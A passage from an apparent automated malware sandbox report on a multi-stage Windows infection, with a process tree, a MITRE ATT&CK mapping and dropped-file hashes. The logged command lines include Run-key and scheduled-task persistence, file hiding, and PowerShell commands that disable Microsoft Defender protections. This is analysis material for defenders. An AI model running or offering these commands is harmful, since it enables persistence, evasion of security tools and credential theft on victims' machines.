                                      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                      5⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      PID:1876
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                    4⤵
                                    • Executes a command shell one-liner
                                    PID:4960
                                    • C:\Windows\System32\Wbem\WMIC.exe
                                      wmic path win32_VideoController get name
                                      5⤵
                                      • Detects videocard installed
                                      PID:1040
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                    4⤵
                                    • Executes a command shell one-liner
                                    PID:4736
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                      5⤵
                                        PID:3232
                                • C:\Users\Admin\AppData\Local\Temp\clip.exe
                                  "C:\Users\Admin\AppData\Local\Temp\clip.exe"
                                  2⤵
                                  • Drops startup file
                                  • Executes dropped EXE
                                  • Suspicious behavior: AddClipboardFormatListener
                                  PID:4828
                                • C:\Users\Admin\AppData\Local\Temp\crack.exe
                                  "C:\Users\Admin\AppData\Local\Temp\crack.exe"
                                  2⤵
                                  • Downloads MZ/PE file
                                  • Drops startup file
                                  • Executes dropped EXE
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious use of WriteProcessMemory
                                  PID:3688
                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update1.exe
                                    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update1.exe"
                                    3⤵
                                    • Executes dropped EXE
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious use of WriteProcessMemory
                                    PID:3684
                                    • C:\Users\Admin\AppData\Roaming\jan8zT\svchost.exe
                                      "C:\Users\Admin\AppData\Roaming\jan8zT\svchost.exe"
                                      4⤵
                                      • Executes dropped EXE
                                      • System Location Discovery: System Language Discovery
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      • Suspicious use of SetWindowsHookEx
                                      PID:4268
                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update2.exe
                                    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update2.exe"
                                    3⤵
                                    • Executes dropped EXE
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious use of WriteProcessMemory
                                    PID:5104
                                    • C:\Users\Admin\AppData\Local\Temp\F7EgVCAVlH09YnG\vshost.exe
                                      "C:\Users\Admin\AppData\Local\Temp\\F7EgVCAVlH09YnG\vshost.exe"
                                      4⤵
                                      • Executes dropped EXE
                                      • System Location Discovery: System Language Discovery
                                      PID:5728
                                      • C:\Windows\SysWOW64\cmd.exe
                                        cmd /c timeout /t 3 /nobreak & rd /s /q "C:\Users\Admin\AppData\Local\Temp\F7EgVCAVlH09YnG"
                                        5⤵
                                        • Executes a command shell one-liner
                                        PID:4312
                                        • C:\Windows\SysWOW64\timeout.exe
                                          timeout /t 3 /nobreak
                                          6⤵
                                          • Delays execution with timeout.exe
                                          PID:4836
                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update3.exe
                                    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update3.exe"
                                    3⤵
                                    • Executes dropped EXE
                                    • Suspicious use of WriteProcessMemory
                                    PID:4532
                                    • C:\Windows\system32\attrib.exe
                                      "attrib" +H C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe
                                      4⤵
                                      • Views/modifies file attributes
                                      PID:3808
                                    • C:\Windows\system32\reg.exe
                                      "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsHealthMonitor /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe /f
                                      4⤵
                                      • Adds Run key to start application
                                      • Modifies registry key
                                      PID:4168
                                    • C:\Windows\system32\reg.exe
                                      "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SysHelper /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\ThemeSync.exe /f
                                      4⤵
                                      • Adds Run key to start application
                                      • Modifies registry key
                                      PID:1504
                                    • C:\Windows\system32\reg.exe
                                      "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v Setup /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe /f
                                      4⤵
                                      • Adds Run key to start application
                                      • Modifies registry key
                                      PID:836
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "powershell" -WindowStyle Hidden -Command "$action = New-ScheduledTaskAction -Execute 'C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\OneDriveUpdate.exe'; $trigger = New-ScheduledTaskTrigger -AtLogon; $settings = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries; Register-ScheduledTask -TaskName 'OneDriveStandalone' -Action $action -Trigger $trigger -Settings $settings -Force"
                                      4⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:4732
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "powershell" -WindowStyle Hidden -Command "$s = (New-Object -COM WScript.Shell).CreateShortcut('C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\OneDrive.lnk'); $s.TargetPath = 'C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\OneDriveUpdate.exe'; $s.WorkingDirectory = 'C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SendTo'; $s.WindowStyle = 7; $s.Save()"
                                      4⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Drops startup file
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:3384
                                      • C:\Windows\System32\Conhost.exe
                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        5⤵
                                          PID:4236
                                      • C:\Windows\system32\attrib.exe
                                        "attrib" +H C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\syshelper.vbs
                                        4⤵
                                        • Views/modifies file attributes
                                        PID:5820
                                      • C:\Windows\system32\wscript.exe
                                        "wscript.exe" //nologo //b C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\syshelper.vbs
                                        4⤵
                                        • Executes a VBScript file via the Windows Script Host.
                                        PID:3800
                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe
                                        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        PID:5500
                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe
                                        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        PID:4116
                                    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update4.exe
                                      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update4.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      • System Location Discovery: System Language Discovery
                                      • Suspicious use of WriteProcessMemory
                                      PID:1188
                                      • C:\Users\Admin\AppData\Roaming\h1Z83A5YcYfn\svchost.exe
                                        "C:\Users\Admin\AppData\Roaming\h1Z83A5YcYfn\svchost.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        • System Location Discovery: System Language Discovery
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:4860
                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                          powershell.exe -Command "[Console]::OutputEncoding = [System.Text.Encoding]::UTF8; Add-MpPreference -ExclusionPath 'C:\'"
                                          5⤵
                                          • Command and Scripting Interpreter: PowerShell
                                          • System Location Discovery: System Language Discovery
                                          PID:1168
                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                          powershell.exe -Command "[Console]::OutputEncoding = [System.Text.Encoding]::UTF8; Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend"
                                          5⤵
                                          • Command and Scripting Interpreter: PowerShell
                                          • Disables one or more Microsoft Defender components
                                          PID:3172
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp_26748_wdd.bat" "
                                          5⤵
                                          • Executes a command shell one-liner
                                          PID:2356
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp_10235_mine.bat" "
                                          5⤵
                                          • Executes a command shell one-liner
                                          PID:2488
                                          • C:\Windows\System32\Conhost.exe
                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            6⤵
                                              PID:1108
                                          • C:\Users\Admin\AppData\Local\Temp\tmp_24318_update1.exe
                                            "C:\Users\Admin\AppData\Local\Temp\tmp_24318_update1.exe"
                                            5⤵
                                              PID:2064
                                            • C:\Users\Admin\AppData\Local\Temp\tmp_4837_update2.exe
                                              "C:\Users\Admin\AppData\Local\Temp\tmp_4837_update2.exe"
                                              5⤵
                                                PID:6028
                                                • C:\Users\Admin\AppData\Local\Temp\F7EgVCAVlH09YnG\vshost.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\\F7EgVCAVlH09YnG\vshost.exe"
                                                  6⤵
                                                    PID:3184
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      cmd /c timeout /t 3 /nobreak & rd /s /q "C:\Users\Admin\AppData\Local\Temp\F7EgVCAVlH09YnG"
                                                      7⤵
                                                      • Executes a command shell one-liner
                                                      PID:628
                                                      • C:\Windows\SysWOW64\timeout.exe
                                                        timeout /t 3 /nobreak
                                                        8⤵
                                                        • Delays execution with timeout.exe
                                                        PID:4836
                                                • C:\Users\Admin\AppData\Local\Temp\tmp_12_update3.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\tmp_12_update3.exe"
                                                  5⤵
                                                    PID:5948
                                                    • C:\Windows\system32\attrib.exe
                                                      "attrib" +H C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\ThemeSync.exe
                                                      6⤵
                                                      • Views/modifies file attributes
                                                      PID:6108
                                                    • C:\Windows\system32\reg.exe
                                                      "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsHealthMonitor /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe /f
                                                      6⤵
                                                      • Modifies registry key
                                                      PID:1812
                                                    • C:\Windows\system32\reg.exe
                                                      "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SysHelper /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\ThemeSync.exe /f
                                                      6⤵
                                                      • Modifies registry key
                                                      PID:3328
                                                    • C:\Windows\system32\reg.exe
                                                      "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v Setup /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe /f
                                                      6⤵
                                                      • Modifies registry key
                                                      PID:948
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      "powershell" -WindowStyle Hidden -Command "$action = New-ScheduledTaskAction -Execute 'C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\OneDriveUpdate.exe'; $trigger = New-ScheduledTaskTrigger -AtLogon; $settings = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries; Register-ScheduledTask -TaskName 'OneDriveStandalone' -Action $action -Trigger $trigger -Settings $settings -Force"
                                                      6⤵
                                                      • Command and Scripting Interpreter: PowerShell
                                                      PID:5244
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      "powershell" -WindowStyle Hidden -Command "$s = (New-Object -COM WScript.Shell).CreateShortcut('C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\OneDrive.lnk'); $s.TargetPath = 'C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\OneDriveUpdate.exe'; $s.WorkingDirectory = 'C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SendTo'; $s.WindowStyle = 7; $s.Save()"
                                                      6⤵
                                                      • Command and Scripting Interpreter: PowerShell
                                                      PID:1344
                                                    • C:\Windows\system32\attrib.exe
                                                      "attrib" +H C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\syshelper.vbs
                                                      6⤵
                                                      • Views/modifies file attributes
                                                      PID:4392
                                                    • C:\Windows\system32\wscript.exe
                                                      "wscript.exe" //nologo //b C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\syshelper.vbs
                                                      6⤵
                                                      • Executes a VBScript file via the Windows Script Host.
                                                      PID:1020
                                                    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe
                                                      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe"
                                                      6⤵
                                                        PID:5228
                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe
                                                        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe"
                                                        6⤵
                                                          PID:2056
                                                • C:\Users\Admin\AppData\Local\Temp\installer.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\installer.exe"
                                                  2⤵
                                                  • Executes dropped EXE
                                                  • Accesses Microsoft Outlook profiles
                                                  • System Location Discovery: System Language Discovery
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  • Suspicious use of WriteProcessMemory
                                                  • outlook_office_path
                                                  • outlook_win_path
                                                  PID:1884
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
                                                    3⤵
                                                    • Executes a command shell one-liner
                                                    • System Location Discovery: System Language Discovery
                                                    • System Network Configuration Discovery: Wi-Fi Discovery
                                                    • Suspicious use of WriteProcessMemory
                                                    PID:5184
                                                    • C:\Windows\SysWOW64\chcp.com
                                                      chcp 65001
                                                      4⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:4732
                                                    • C:\Windows\SysWOW64\netsh.exe
                                                      netsh wlan show profile
                                                      4⤵
                                                      • Event Triggered Execution: Netsh Helper DLL
                                                      • System Location Discovery: System Language Discovery
                                                      • System Network Configuration Discovery: Wi-Fi Discovery
                                                      PID:2084
                                                    • C:\Windows\SysWOW64\findstr.exe
                                                      findstr All
                                                      4⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:5956
                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 1884 -s 1980
                                                    3⤵
                                                    • Program crash
                                                    PID:3708
                                                • C:\Users\Admin\AppData\Local\Temp\mr.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\mr.exe"
                                                  2⤵
                                                  • Executes dropped EXE
                                                  • System Location Discovery: System Language Discovery
                                                  • Suspicious use of WriteProcessMemory
                                                  PID:4444
                                                  • C:\Users\Admin\AppData\Roaming\L3TfaHlNmpu\svchost.exe
                                                    "C:\Users\Admin\AppData\Roaming\L3TfaHlNmpu\svchost.exe"
                                                    3⤵
                                                    • Executes dropped EXE
                                                    • System Location Discovery: System Language Discovery
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    • Suspicious use of SetWindowsHookEx
                                                    PID:5680
                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell.exe -Command "[Console]::OutputEncoding = [System.Text.Encoding]::UTF8; Add-MpPreference -ExclusionPath 'C:\'"
                                                      4⤵
                                                      • Command and Scripting Interpreter: PowerShell
                                                      • System Location Discovery: System Language Discovery
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:5908
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1884 -ip 1884
                                                1⤵
                                                  PID:1824
                                                • C:\Users\Admin\AppData\Roaming\CLPPTH\clppth.exe
                                                  C:\Users\Admin\AppData\Roaming\CLPPTH\clppth.exe
                                                  1⤵
                                                  • Executes dropped EXE
                                                  • Suspicious use of WriteProcessMemory
                                                  PID:864
                                                  • C:\Users\Admin\AppData\Roaming\CLPPTH\clppth.exe
                                                    C:\Users\Admin\AppData\Roaming\CLPPTH\clppth.exe
                                                    2⤵
                                                    • Executes dropped EXE
                                                    • Loads dropped DLL
                                                    PID:1736
                                                • C:\Users\Admin\AppData\Roaming\jan8zT\svchost.exe
                                                  C:\Users\Admin\AppData\Roaming\jan8zT\svchost.exe
                                                  1⤵
                                                  • Executes dropped EXE
                                                  • System Location Discovery: System Language Discovery
                                                  PID:5796
                                                • C:\Users\Admin\AppData\Roaming\L3TfaHlNmpu\svchost.exe
                                                  C:\Users\Admin\AppData\Roaming\L3TfaHlNmpu\svchost.exe
                                                  1⤵
                                                  • Executes dropped EXE
                                                  • System Location Discovery: System Language Discovery
                                                  PID:1396
                                                • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe
                                                  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe
                                                  1⤵
                                                  • Executes dropped EXE
                                                  PID:5112
                                                • C:\Users\Admin\AppData\Roaming\h1Z83A5YcYfn\svchost.exe
                                                  C:\Users\Admin\AppData\Roaming\h1Z83A5YcYfn\svchost.exe
                                                  1⤵
                                                  • Executes dropped EXE
                                                  • System Location Discovery: System Language Discovery
                                                  PID:3956

                                                Network

                                                      MITRE ATT&CK Enterprise v16

                                                      Reconnaissance

                                                      Resource Development

                                                      Initial Access

                                                      Execution

                                                      Command and Scripting Interpreter

                                                      3
                                                      T1059

                                                      PowerShell

                                                      1
                                                      T1059.001

                                                      Visual Basic

                                                      1
                                                      T1059.005

                                                      Windows Command Shell

                                                      1
                                                      T1059.003

                                                      Persistence

                                                      Boot or Logon Autostart Execution

                                                      1
                                                      T1547

                                                      Registry Run Keys / Startup Folder

                                                      1
                                                      T1547.001

                                                      Event Triggered Execution

                                                      1
                                                      T1546

                                                      Netsh Helper DLL

                                                      1
                                                      T1546.007

                                                      Privilege Escalation

                                                      Boot or Logon Autostart Execution

                                                      1
                                                      T1547

                                                      Registry Run Keys / Startup Folder

                                                      1
                                                      T1547.001

                                                      Event Triggered Execution

                                                      1
                                                      T1546

                                                      Netsh Helper DLL

                                                      1
                                                      T1546.007

                                                      Defense Evasion

                                                      Hide Artifacts

                                                      1
                                                      T1564

                                                      Hidden Files and Directories

                                                      1
                                                      T1564.001

                                                      Impair Defenses

                                                      1
                                                      T1562

                                                      Disable or Modify Tools

                                                      1
                                                      T1562.001

                                                      Modify Registry

                                                      2
                                                      T1112

                                                      Obfuscated Files or Information

                                                      1
                                                      T1027

                                                      Command Obfuscation

                                                      1
                                                      T1027.010

                                                      Credential Access

                                                      Credentials from Password Stores

                                                      1
                                                      T1555

                                                      Credentials from Web Browsers

                                                      1
                                                      T1555.003

                                                      Unsecured Credentials

                                                      3
                                                      T1552

                                                      Credentials In Files

                                                      3
                                                      T1552.001

                                                      Discovery

                                                      Browser Information Discovery

                                                      1
                                                      T1217

                                                      Process Discovery

                                                      1
                                                      T1057

                                                      Query Registry

                                                      1
                                                      T1012

                                                      System Information Discovery

                                                      4
                                                      T1082

                                                      System Location Discovery

                                                      1
                                                      T1614

                                                      System Language Discovery

                                                      1
                                                      T1614.001

                                                      System Network Configuration Discovery

                                                      1
                                                      T1016

                                                      Wi-Fi Discovery

                                                      1
                                                      T1016.002

                                                      Lateral Movement

                                                      Collection

                                                      Clipboard Data

                                                      1
                                                      T1115

                                                      Data from Local System

                                                      2
                                                      T1005

                                                      Email Collection

                                                      1
                                                      T1114

                                                      Command and Control

                                                      Web Service

                                                      1
                                                      T1102

                                                      Exfiltration

                                                      Impact

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      6H6vhhNWDW.tmp
                                                      • Path C:\Users\Admin\AppData\Local\Temp\6H6vhhNWDW.tmp
                                                      • Size 160KB
                                                      • SHA256 9091ac11406f559b228639a023f638aa4461083cf4151878f781b85acde0e2ba
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      Blank.exe
                                                      • Path C:\Users\Admin\AppData\Local\Temp\Blank.exe
                                                      • Size 7.5MB
                                                      • SHA256 72120762876eb5cce0cf205aa0453464c608386669da650edd460fdbf7b492c1
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      Mr.exe
                                                      • Path C:\Users\Admin\AppData\Local\Temp\Mr.exe
                                                      • Size 2.6MB
                                                      • SHA256 8419b1f0acca46d45f4c54c315c8cc4784946e07d547fe55187b928fa6c6b8f5
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      PBLeLoOJ2m.tmp
                                                      • Path C:\Users\Admin\AppData\Local\Temp\PBLeLoOJ2m.tmp
                                                      • Size 224KB
                                                      • SHA256 d781b56555e65272ef4019de8706cba5042fb7afcf0f6e2ca56183ca9567ba8e
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      WwFh5GheOv.tmp
                                                      • Path C:\Users\Admin\AppData\Local\Temp\WwFh5GheOv.tmp
                                                      • Size 40KB
                                                      • SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      VCRUNTIME140.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\VCRUNTIME140.dll
                                                      • Size 96KB
                                                      • SHA256 d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      _ctypes.pyd
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\_ctypes.pyd
                                                      • Size 57KB
                                                      • SHA256 cd31af70cbcfe81b01a75ebeb2de86079f4cbe767b75c3b5799ef8b9f0392d65
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      api-ms-win-core-console-l1-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-core-console-l1-1-0.dll
                                                      • Size 3KB
                                                      • SHA256 a3db4aca7b1ba6f802df24916f086e4a803093ffb29f8902c18b8a09aa18ddcb
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      api-ms-win-core-datetime-l1-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-core-datetime-l1-1-0.dll
                                                      • Size 2KB
                                                      • SHA256 93ebce911997392650aee0f22b72687787c55c7a4a731724a58c45dc3e1f6cc6
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      api-ms-win-core-debug-l1-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-core-debug-l1-1-0.dll
                                                      • Size 2KB
                                                      • SHA256 dcafa02c5e11d38c590754ee6a23dc65c3342308bb28435efb75de914f2b3652
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      api-ms-win-core-errorhandling-l1-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-core-errorhandling-l1-1-0.dll
                                                      • Size 2KB
                                                      • SHA256 5eb1c0679756b46c57acaf600246ceff260b88f602215e4a94231ef0c30b0af7
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      api-ms-win-core-file-l1-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-core-file-l1-1-0.dll
                                                      • Size 4KB
                                                      • SHA256 34790e8f47a8f478a4ba4f89695cea1be64d16ff416542ec3036acb5633009ed
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      api-ms-win-core-file-l1-2-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-core-file-l1-2-0.dll
                                                      • Size 4KB
                                                      • SHA256 b2d983883afd758913a7db54222a2db4bfeb1051b0c0f92e8faae93c0bc90fc4
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      api-ms-win-core-file-l2-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-core-file-l2-1-0.dll
                                                      • Size 2KB
                                                      • SHA256 3144bccc1385efc1ff204442a5aecc0a990776341a268fad15aa605449fca04a
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      api-ms-win-core-handle-l1-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-core-handle-l1-1-0.dll
                                                      • Size 2KB
                                                      • SHA256 1ab5fe4396f72938193a8ce5e18fcb522f84dd24591f39ec1302fc822f875496
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      api-ms-win-core-heap-l1-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-core-heap-l1-1-0.dll
                                                      • Size 3KB
                                                      • SHA256 59d807fe256fc61866ee54dc4f18bb4f8901d902f7e23b15ecbf7b7a4dc6fc5f
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      api-ms-win-core-interlocked-l1-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-core-interlocked-l1-1-0.dll
                                                      • Size 2KB
                                                      • SHA256 65912b7d8ad3423ad4609b9e2e3c262647d5273706796f043c9b515f1e8c78f2
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      api-ms-win-core-libraryloader-l1-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-core-libraryloader-l1-1-0.dll
                                                      • Size 3KB
                                                      • SHA256 e68ff1811bfe8cd7682c45a1d562c90ccb35a70971cd75d195c7773d668e1dc4
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      api-ms-win-core-localization-l1-2-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-core-localization-l1-2-0.dll
                                                      • Size 4KB
                                                      • SHA256 0c62b8ab1e5f30d4a9eadcd412677e0ab5e4e9304f0870a4ee562f08d09ccc7e
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      api-ms-win-core-memory-l1-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-core-memory-l1-1-0.dll
                                                      • Size 3KB
                                                      • SHA256 3115632c9bea1ccdeb7747689aa65fa36291788339793fce306afb03ca748a6c
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      api-ms-win-core-namedpipe-l1-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-core-namedpipe-l1-1-0.dll
                                                      • Size 3KB
                                                      • SHA256 c0d62d6a9350e66fb144e297c49ae2a8efb997148807a60dbac1aa95c88fa8f4
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      api-ms-win-core-path-l1-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-core-path-l1-1-0.dll
                                                      • Size 3KB
                                                      • SHA256 e39ca111d81e6e5d90cf13fa0aee525d8a2740b84d2c5cd378dd69e4f79f8b0f
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      api-ms-win-core-processenvironment-l1-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-core-processenvironment-l1-1-0.dll
                                                      • Size 3KB
                                                      • SHA256 f4cae758d318b23e76ddf50202768f4cbea9cc16d36114f4cecb15957206e4af
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      api-ms-win-core-processthreads-l1-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-core-processthreads-l1-1-0.dll
                                                      • Size 4KB
                                                      • SHA256 83a0079fbf50719b46275f9cc5675a299c987862ba7ad3ad0ee5f6e714400af5
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      api-ms-win-core-processthreads-l1-1-1.dll
